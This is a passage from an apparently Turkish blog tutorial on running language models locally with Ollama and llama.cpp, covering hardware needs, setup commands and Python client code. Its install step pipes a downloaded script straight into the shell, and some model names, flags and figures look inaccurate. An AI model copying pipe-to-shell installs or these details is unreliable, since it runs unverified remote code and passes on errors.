&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;En &amp;Idot;yi Kullan&amp;inodot;m Yeri:&lt;/strong&gt; Birden fazla kullan&amp;inodot;c&amp;inodot;n&amp;inodot;n ba&amp;gbreve;lanaca&amp;gbreve;&amp;inodot; sunucular ve y&amp;uuml;ksek trafikli &amp;uuml;retim sistemleri.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="donanm-gereksinimleri-neler_1"&gt;Donan&amp;inodot;m Gereksinimleri Neler? 📊&lt;a class="headerlink" href="#donanm-gereksinimleri-neler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yerelde model &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rman&amp;inodot;n en kritik noktas&amp;inodot; ekran kart&amp;inodot;n&amp;inodot;z&amp;inodot;n belle&amp;gbreve;idir (VRAM).&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Model Boyutu&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Gereken VRAM&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Ekran Kart&amp;inodot; &amp;Ouml;rnekleri&lt;/th&gt;
&lt;th style="text-align: left;"&gt;&amp;Idot;deal Kullan&amp;inodot;m Amac&amp;inodot;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;7B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6 - 8 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 3060, RTX 4070&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ki&amp;scedil;isel asistanl&amp;inodot;k, basit kodlama yard&amp;inodot;m&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;13B / 14B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;10 - 16 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 4080, RTX 3090&lt;/td&gt;
&lt;td style="text-align: left;"&gt;G&amp;uuml;nl&amp;uuml;k yaz&amp;inodot;l&amp;inodot;m i&amp;scedil;leri, daha iyi mant&amp;inodot;k y&amp;uuml;r&amp;uuml;tme&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;32B / 34B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;24 - 32 GB&lt;/td&gt;
&lt;td style="text-align: left;"&gt;RTX 4090, A6000&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Karma&amp;scedil;&amp;inodot;k kodlama ve y&amp;uuml;ksek kaliteli analizler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;70B&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;80 GB+&lt;/td&gt;
&lt;td style="text-align: left;"&gt;A100, H100 (veya 2x RTX 3090)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Derin ara&amp;scedil;t&amp;inodot;rma, kurumsal seviye &amp;ccedil;&amp;ouml;z&amp;uuml;mler&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Model S&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma (Quantization):&lt;/strong&gt;
Modelleri yerel sistemlere s&amp;inodot;&amp;gbreve;d&amp;inodot;rman&amp;inodot;n form&amp;uuml;l&amp;uuml; s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rmad&amp;inodot;r. Q4 (4-bit) s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma, model kalitesinden neredeyse &amp;ouml;d&amp;uuml;n vermeden dosya boyutunu %75 oran&amp;inodot;nda k&amp;uuml;&amp;ccedil;&amp;uuml;lt&amp;uuml;r. Q5 s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma ise h&amp;inodot;z ve zeka dengesi i&amp;ccedil;in en ideal noktad&amp;inodot;r. Q8 s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma ise orijinal modele en yak&amp;inodot;n kaliteyi sunar ama bellek gereksinimi iki kat&amp;inodot;na &amp;ccedil;&amp;inodot;kar.&lt;/p&gt;
&lt;h3 id="2026-icin-gpu-tavsiyeleri"&gt;2026 &amp;Idot;&amp;ccedil;in GPU Tavsiyeleri&lt;a class="headerlink" href="#2026-icin-gpu-tavsiyeleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;B&amp;uuml;t&amp;ccedil;e Dostu:&lt;/strong&gt; NVIDIA RTX 3060 12GB. T&amp;uuml;rkiye piyasas&amp;inodot;nda yakla&amp;scedil;&amp;inodot;k 17.400 TL band&amp;inodot;nda bulunabiliyor. 7B modelleri &amp;ccedil;ok rahat, 13B modelleri ise s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; olarak &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fiyat/Performans Zirvesi:&lt;/strong&gt; NVIDIA RTX 4090 24GB. Yakla&amp;scedil;&amp;inodot;k 130.000 TL fiyat&amp;inodot; olsa da, 32B-34B s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; modelleri y&amp;uuml;ksek h&amp;inodot;zda ko&amp;scedil;turman&amp;inodot;n en profesyonel yoludur.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Idot;leri Seviye (Pro):&lt;/strong&gt; NVIDIA RTX 6000 Ada 48GB. Yakla&amp;scedil;&amp;inodot;k 310.000 TL. 70B s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;lm&amp;inodot;&amp;scedil; modelleri tek ba&amp;scedil;&amp;inodot;na s&amp;inodot;rtlar.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sunucu S&amp;inodot;n&amp;inodot;f&amp;inodot;:&lt;/strong&gt; NVIDIA A100 80GB veya H100. Tamamen kurumsal ve &amp;uuml;retim odakl&amp;inodot; projeler i&amp;ccedil;in.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="ollama-kurulumu-en-kolay-yol_1"&gt;Ollama Kurulumu (En Kolay Yol) 🛠️&lt;a class="headerlink" href="#ollama-kurulumu-en-kolay-yol" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yerel yapay zekaya en h&amp;inodot;zl&amp;inodot; yoldan ad&amp;inodot;m atmak istiyorsan&amp;inodot;z buradan ba&amp;scedil;lay&amp;inodot;n.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1. Ollama'y&amp;inodot; indirin ve kurun&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-fsSL&lt;span class="w"&gt; &lt;/span&gt;https://ollama.com/install.sh&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sh

&lt;span class="c1"&gt;# 2. Model dosyas&amp;inodot;n&amp;inodot; &amp;ccedil;ekin&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;pull&lt;span class="w"&gt; &lt;/span&gt;llama3.2

&lt;span class="c1"&gt;# 3. Modeli terminalde &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;llama3.2

&lt;span class="c1"&gt;# 4. Sunucu modunda arka planda ba&amp;scedil;latmak i&amp;ccedil;in&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;ollama&lt;span class="w"&gt; &lt;/span&gt;serve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Art&amp;inodot;k yerel yapay zekan&amp;inodot;z haz&amp;inodot;r.&lt;/p&gt;
&lt;h3 id="python-ile-yerel-modelimizi-konusturmak"&gt;Python &amp;Idot;le Yerel Modelimizi Konu&amp;scedil;turmak&lt;a class="headerlink" href="#python-ile-yerel-modelimizi-konusturmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ollama&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ollama&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'llama3.2'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;'role'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'content'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'Fakt&amp;ouml;riyel hesaplayan bir Python fonksiyonu yazar m&amp;inodot;s&amp;inodot;n?'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'message'&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;'content'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="openai-sdk-uyumlulugu"&gt;OpenAI SDK Uyumlulu&amp;gbreve;u&lt;a class="headerlink" href="#openai-sdk-uyumlulugu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Ollama arkada OpenAI API standartlar&amp;inodot;na uyumlu bir u&amp;ccedil; nokta sunar. B&amp;ouml;ylece mevcut projelerinizde sadece adresi de&amp;gbreve;i&amp;scedil;tirerek yerel modele ge&amp;ccedil;ebilirsiniz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;openai&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;OpenAI&lt;/span&gt;

&lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;OpenAI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;base_url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:11434/v1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ollama"&lt;/span&gt;  &lt;span class="c1"&gt;# Sahte bir anahtar yeterlidir&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"llama3.2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s2"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"user"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"content"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"Selam!"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="llamacpp-kurulumu-maksimum-denetim_1"&gt;llama.cpp Kurulumu (Maksimum Denetim) ⚙️&lt;a class="headerlink" href="#llamacpp-kurulumu-maksimum-denetim" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Daha fazla kontrol ve performans istiyorsan&amp;inodot;z, do&amp;gbreve;rudan llama.cpp &amp;uuml;zerinden devam edin.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1. Projeyi klonlay&amp;inodot;n ve derleyin&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/ggerganov/llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;llama.cpp
$&lt;span class="w"&gt; &lt;/span&gt;make

&lt;span class="c1"&gt;# 2. Hugging Face &amp;uuml;zerinden indirdi&amp;gbreve;iniz GGUF modelini models/ klas&amp;ouml;r&amp;uuml;ne yerle&amp;scedil;tirin.&lt;/span&gt;

&lt;span class="c1"&gt;# 3. Belirli s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;rma ve haf&amp;inodot;za ayarlar&amp;inodot;yla &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;./llama-cli&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;models/llama-7b-q4_k_m.gguf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;512&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;--temp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="gguf-model-dosyalarn-nerede-buluruz"&gt;GGUF Model Dosyalar&amp;inodot;n&amp;inodot; Nerede Buluruz?&lt;a class="headerlink" href="#gguf-model-dosyalarn-nerede-buluruz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hugging Face &amp;uuml;zerinde "GGUF" aramas&amp;inodot; yap&amp;inodot;p model boyutuna g&amp;ouml;re filtreleyebilirsiniz. Pop&amp;uuml;ler se&amp;ccedil;enekler:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Qwen 2.5:&lt;/strong&gt; Son d&amp;ouml;nemin en yetenekli modellerinden, farkl&amp;inodot; boyutlar&amp;inodot; mevcut. (Yerelde Qwen tabanl&amp;inodot; bir modeli kod asistan&amp;inodot; olarak aya&amp;gbreve;a kald&amp;inodot;rmak isterseniz &lt;a href="/qwen-3-6-27b-yerel-kod-modeli-kurulumu/"&gt;Qwen 3.6 Yerel Kod Modeli Kurulumu&lt;/a&gt; rehberim size yard&amp;inodot;mc&amp;inodot; olacakt&amp;inodot;r).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Llama 3.2:&lt;/strong&gt; Meta'n&amp;inodot;n resmi olarak sundu&amp;gbreve;u hafif ve h&amp;inodot;zl&amp;inodot; modeller.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Phi-3:&lt;/strong&gt; Microsoft'un k&amp;uuml;&amp;ccedil;&amp;uuml;k ama i&amp;scedil;levi b&amp;uuml;y&amp;uuml;k modelleri.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mistral:&lt;/strong&gt; Boyutuna g&amp;ouml;re sundu&amp;gbreve;u zeka dengesiyle me&amp;scedil;hur.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2026 y&amp;inodot;l&amp;inodot;nda yerel olarak ko&amp;scedil;turabilece&amp;gbreve;iniz en ba&amp;scedil;ar&amp;inodot;l&amp;inodot; a&amp;ccedil;&amp;inodot;k kaynakl&amp;inodot; modellerin detayl&amp;inodot; zeka ve performans kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;rmalar&amp;inodot; i&amp;ccedil;in &lt;a href="/en-iyi-yerel-llm-modelleri-2026/"&gt;En &amp;Idot;yi Yerel LLM Modelleri (2026)&lt;/a&gt; incelememe bakabilirsiniz.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="kurulumu-ucuracak-performans-ipuclar_1"&gt;Kurulumu U&amp;ccedil;uracak Performans &amp;Idot;pu&amp;ccedil;lar&amp;inodot; 💡&lt;a class="headerlink" href="#kurulumu-ucuracak-performans-ipuclar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ekran Kart&amp;inodot; (GPU) Deste&amp;gbreve;ini Aktif Etmek:&lt;/strong&gt;
    Yapay zekay&amp;inodot; ekran kart&amp;inodot; (GPU) yerine sadece i&amp;scedil;lemciyle (CPU) &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rmaya zorlamak, spor arabay&amp;inodot; el freni &amp;ccedil;ekik &amp;scedil;ekilde yoku&amp;scedil; yukar&amp;inodot; s&amp;uuml;rmeye &amp;ccedil;al&amp;inodot;&amp;scedil;mak gibidir.&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; llama.cpp kullan&amp;inodot;yorsan&amp;inodot;z, derleme yaparken CUDA deste&amp;gbreve;ini mutlaka a&amp;ccedil;&amp;inodot;n:
    &lt;code&gt;bash
    $ make LLAMA_CUDA=1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Haf&amp;inodot;za ve Ba&amp;gbreve;lam Geni&amp;scedil;li&amp;gbreve;i (Context Length):&lt;/strong&gt;
    Modeller varsay&amp;inodot;lan olarak 4K (4096 token) haf&amp;inodot;za limitiyle a&amp;ccedil;&amp;inodot;l&amp;inodot;r. &amp;Ccedil;o&amp;gbreve;u ekran kart&amp;inodot;nda bunu 8K veya 16K'ya &amp;ccedil;ekebilirsiniz. Ancak 32K ve &amp;uuml;zerine &amp;ccedil;&amp;inodot;kmak ciddi oranda VRAM t&amp;uuml;ketecektir.
    &lt;code&gt;bash
    # Ollama &amp;uuml;zerinde ba&amp;gbreve;lam&amp;inodot; 8K yapmak i&amp;ccedil;in:
    $ ollama run llama3.2 -c 8192&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bir Seferde &amp;Idot;&amp;scedil;lenen Veri Adeti (Batch Size):&lt;/strong&gt;
    Modelin girdi prompt'unu i&amp;scedil;leme h&amp;inodot;z&amp;inodot;n&amp;inodot; art&amp;inodot;rmak i&amp;ccedil;in bu de&amp;gbreve;eri y&amp;uuml;kseltebilirsiniz. E&amp;gbreve;er ekran kart&amp;inodot;n&amp;inodot;zda yer varsa varsay&amp;inodot;lan&amp;inodot; 512'ye &amp;ccedil;&amp;inodot;karabilirsiniz.
    &lt;code&gt;bash
    $ ./llama-cli -b 512 -m model.gguf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="bulut-api-servisleri-vs-yerel-kurulum"&gt;Bulut API Servisleri vs. Yerel Kurulum&lt;a class="headerlink" href="#bulut-api-servisleri-vs-yerel-kurulum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Fakt&amp;ouml;r&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Bulut API Servisleri&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Yerelde Bar&amp;inodot;nd&amp;inodot;rma&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Kurulum S&amp;uuml;resi&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Birka&amp;ccedil; dakika&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Birka&amp;ccedil; saat&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;D&amp;uuml;&amp;scedil;&amp;uuml;k Kullan&amp;inodot;mda Maliyet&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Kulland&amp;inodot;&amp;gbreve;&amp;inodot;n kadar &amp;ouml;de&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Donan&amp;inodot;m yat&amp;inodot;r&amp;inodot;m&amp;inodot; gerektirir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Yo&amp;gbreve;un Kullan&amp;inodot;mda Maliyet&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Y&amp;uuml;ksek ayl&amp;inodot;k faturalar (yakla&amp;scedil;&amp;inodot;k 23.000 TL+)&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Yaln&amp;inodot;zca elektrik faturas&amp;inodot; (ayl&amp;inodot;k yakla&amp;scedil;&amp;inodot;k 500 - 1.500 TL)&lt;sup id="fnref:3"&gt;&lt;a class="footnote-ref" href="#fn:3"&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Veri Gizlili&amp;gbreve;i&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Verileriniz buluttaki sunuculara gider&lt;/td&gt;
&lt;td style="text-align: left;"&gt;%100 yerel ve gizli&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;&amp;Ouml;zelle&amp;scedil;tirme Esnekli&amp;gbreve;i&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Sadece sunulan modellerle s&amp;inodot;n&amp;inodot;rl&amp;inodot;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;Idot;stedi&amp;gbreve;iniz model, istedi&amp;gbreve;iniz ince ayar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Bak&amp;inodot;m &amp;amp; &amp;Idot;&amp;scedil;letim&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Bak&amp;inodot;m gerektirmez&lt;/td&gt;
&lt;td style="text-align: left;"&gt;G&amp;uuml;ncellemeler ve donan&amp;inodot;m bak&amp;inodot;m&amp;inodot; gerekir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Saf Zeka Seviyesi&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;En son &amp;ccedil;&amp;inodot;kan dev modeller&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Donan&amp;inodot;m&amp;inodot;n&amp;inodot;z&amp;inodot;n g&amp;uuml;c&amp;uuml;yle s&amp;inodot;n&amp;inodot;rl&amp;inodot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr/&gt;
&lt;h2 id="populer-kurulum-receteleri"&gt;Pop&amp;uuml;ler Kurulum Re&amp;ccedil;eteleri 💡&lt;a class="headerlink" href="#populer-kurulum-receteleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;B&amp;uuml;t&amp;ccedil;e Dostu Kodlama Asistan&amp;inodot;:&lt;/strong&gt; RTX 3060 + Ollama + Llama 3.2 7B. Arka planda s&amp;inodot;f&amp;inodot;r g&amp;uuml;r&amp;uuml;lt&amp;uuml;yle &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;r, kodlama sorular&amp;inodot;n&amp;inodot;z&amp;inodot; yan&amp;inodot;tlar ve kodlar&amp;inodot; g&amp;ouml;zden ge&amp;ccedil;irir.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Orta Segment Geli&amp;scedil;tirici Makinesi:&lt;/strong&gt; RTX 4090 + Ollama + Karma modeller. Zor i&amp;scedil;ler i&amp;ccedil;in 13B/14B, h&amp;inodot;zl&amp;inodot; sohbetler i&amp;ccedil;in 7B. Yan&amp;inodot;nda Stable Diffusion ile g&amp;ouml;rsel &amp;uuml;retimi de yapabilirsiniz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ev Sunucusu (Merakl&amp;inodot;s&amp;inodot;na):&lt;/strong&gt; Threadripper &amp;Idot;&amp;scedil;lemci + &amp;Ccedil;oklu RTX 4090 + vLLM. T&amp;uuml;m ailenin veya k&amp;uuml;&amp;ccedil;&amp;uuml;k bir yaz&amp;inodot;l&amp;inodot;m ekibinin ayn&amp;inodot; anda kullanabilece&amp;gbreve;i yerel yapay zeka sunucusu. Kendi yerel d&amp;ouml;k&amp;uuml;manlar&amp;inodot;n&amp;inodot;zla e&amp;gbreve;itebilirsiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="yerel-kuruluma-ne-zaman-gerek-yok"&gt;Yerel Kuruluma Ne Zaman Gerek Yok?&lt;a class="headerlink" href="#yerel-kuruluma-ne-zaman-gerek-yok" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;E&amp;gbreve;er her zaman d&amp;uuml;nyan&amp;inodot;n en zeki ve en g&amp;uuml;ncel modellerini (GPT-4, Claude 3.5 Opus vb.) kullanmak zorundaysan&amp;inodot;z bulut servislerinden &amp;scedil;a&amp;scedil;may&amp;inodot;n. Ayda y&amp;inodot;lda bir kez yapay zekaya soru soran biriyseniz yine API kullanmak daha hesapl&amp;inodot;d&amp;inodot;r. Teknik i&amp;scedil;lerle u&amp;gbreve;ra&amp;scedil;maktan ho&amp;scedil;lanm&amp;inodot;yorsan&amp;inodot;z kurulum s&amp;uuml;re&amp;ccedil;leri size yorucu gelebilir.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="guvenlik-onlemleri"&gt;G&amp;uuml;venlik &amp;Ouml;nlemleri 🔒&lt;a class="headerlink" href="#guvenlik-onlemleri" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yerelde &amp;ccedil;al&amp;inodot;&amp;scedil;mak verinizi d&amp;inodot;&amp;scedil;ar&amp;inodot;ya kapat&amp;inodot;r ama g&amp;uuml;venli&amp;gbreve;i elden b&amp;inodot;rakmamak laz&amp;inodot;m:
